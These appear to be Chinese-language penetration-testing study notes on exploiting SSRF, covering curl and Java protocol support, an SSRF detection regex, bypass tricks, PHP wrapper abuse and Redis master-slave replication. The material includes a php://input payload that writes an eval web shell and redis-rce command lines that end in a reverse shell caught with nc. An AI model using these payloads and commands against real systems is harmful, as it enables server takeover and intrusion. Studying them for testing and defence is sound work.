SSRF的利用
发现直接不提了
功能:
内网端口刺探
内网http流量带出
任意文件下载,可能的利用,在curl导致
支持的伪协议
若由curl导致的SSRF,则其支持的伪协议有 dict, file, ftp, ftps, gopher, http, https, imap, imaps, ldap, pop3, pop3s, rtsp, scp, sftp, smtp, smtps, telnet, tftp 。我们再来看几个常见的,例如 dict 字典协议,这个协议可以获取到指定端口的一些信息。
具体可使用curl -V查看(php)
若在JAVA
从import sun.net.www.protocol
可以看到,支持以下协议
**file ftp mailto http https jar netdoc**
如果发起网络请求的类是带HTTP开头,那只支持HTTP、HTTPS协议。
比如:
1
2
3
4 HttpURLConnection
HttpClient
Request
okhttp如果用以下类的方法发起请求,则支持
sun.net.www.protocol
所有协议
1
2 URLConnection
URL参照:https://xz.aliyun.com/t/206/
具体原因不同的函数支持的传入参数不一致。具体代码举例跳过。
SSRF正则表达式检测:
(?:HttpURLConnection)|(?:URLConnection)|(?:ImageIO)|(?:Request.Get)|(?:.openStream)|(?:OkHttpClient))|(?:HttpClients)
绕过
IP进制转换(http://2018466589)
DNS解析绕过(http://good.com.xip.io/)
PHP伪协议
应该说这里的利用属于任意文件包含内容
这里不提直接包含法(利用其它文件上传+包含点形成shell 使用zip或者phar伪协议即可)
allow_url_include=On
allow_url_fopen=On
data://text/plain,
test/plain, 后面的值会被当做php代码执行
allow_url_include=On
allow_url_fopen=Off
先使用php://input在POST的body写为 <?php fputs(fopen(‘/root/hello/shell.php’,’w’),’<?php @eval($_POST[v]);?>’)?>
在使用filter连接该php来执行(不用知道网站绝对路径)
PS: 将POST输入流当做PHP代码执行。其只受 allow_url_include参数的影响,allow_url_fopen开关与此伪协议无关。
1 |
|
allow_url_include=Off
allow_url_fopen=On
只能使用 php://filter伪协议来读文件再进行下一步了。
Redis主从复制
假设只有redis服务,没有ssh等服务(docker),比起以前的写文件利用方式来说,这种利用方式更为通用,危害也更大。
主从复制:
主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
模块功能
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件
要求 在redis.conf文件里关闭保护模式
redis-cli -h 192.168.119.155
redis command:》slaveof 192.168.119.158 6379
连接redis表明主从状态
利用 直接脚本编译拿回显shell
git clone https://github.com/RicterZ/RedisModules-ExecuteCommand
make
生成so文件(模块功能)
git clone https://github.com/Ridter/redis-rce
然后执行exp脚本
python redis-rce.py -r 192.168.119.155 -L 192.168.119.158 -f module.so
默认反弹在-L参数的4444端口 使用nc接shell就行。
location.href .search .hash区别
.href 取全部的连接
.search 取?以及后面的部分
.hash 取#以及#后面的部分(不经过服务器)